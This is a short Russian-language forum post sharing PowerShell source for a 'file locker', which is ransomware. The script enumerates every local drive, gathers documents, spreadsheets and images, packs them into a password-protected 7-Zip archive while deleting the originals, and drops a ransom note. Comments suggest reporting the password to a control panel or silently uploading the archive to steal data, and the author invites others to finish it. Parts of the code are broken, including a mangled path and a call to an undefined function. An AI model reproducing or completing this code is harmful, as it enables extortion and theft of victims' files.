локер файлов

Вчера вечером делать было нечего. Решил написать пару строк кода.
Сразу скажу тема не моя, такого никогда не делал. Потому это не готовый продукт а скорее мысли в слух.

Локер файлов. Должен искать и архивировать файлы с паролем на локальных дисках. Конечно он не готовый продукт, но кто таким занимаются или планирует думаю выскажут свое мнение или допилят если сочтут это нормальным.

Итак:

Код:
function cryptFile{
param([string]$fullPath)
$pwdArch = -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_}); # генерим пароль
$textFile = "hi tipa!"; #Текст письма с запиской
$outFile = "c:UsersPublicout.zip"; #путь к файлу куда все будет архивироваться. Можно и рядом положить
#тут получаем список нужный нам. Можно поставить расширения или не ставить. как кому удобно.
$Files = Get-ChildItem $fullPath -Recurse  -include *.xls,*.xlsx,*.csv,*.doc,*.docx, *.jpg | Select -Expand FullName
ForEach($File in $Files){
try{
#тут найденный файл засуним в архив.
$addFileToArch="/c 7za.exe a "+$outFile+" "+$File+" -sdel -p"+$pwdArch; # Файл после добаления в архив автоматом удаляется.
start-process "cmd.exe" $addFileToArch;
$pathToTextFile= Split-Path -parent -resolve $File; # Путь к файлу с запиской о произошедшем
$textFile | $pathToTextFile;
}catch{}
}
#На выходе получаем архив outfile.zip с паролем
#Дальше делаете конект в админку и говорим все заархивировано ну и пароль от архива. Или не говорим, если надо просто стащить инфу по тихому, тогда просто закачиваем файл на сервер
}

#Достаем имена всех дисков которые есть на компе
$localDisk=Get-WmiObject -Class Win32_LogicalDisk  | Select-Object DeviceID;

#И отправляем их на сканирование
if ($localDisk.length){
for ($ik=0; $ik -le $localDisk.length; $ik++){
$localDisk[$ik].DeviceID
$pathLocalDisk=$localDisk[$ik].DeviceID+""
cryptFile -fullPath $pathLocalDisk
}
}else{
$pathLocalDisk=$localDisk.DeviceID+""
sDataFile -fullPath $pathLocalDisk
}
}

это powershell

Как запустить это в фоне я думаю знают все, ровно как и то как закачать 7za.exe. Это я не стал описывать. Останется тока прикрутить админку и как бы все…

Оставьте комментарий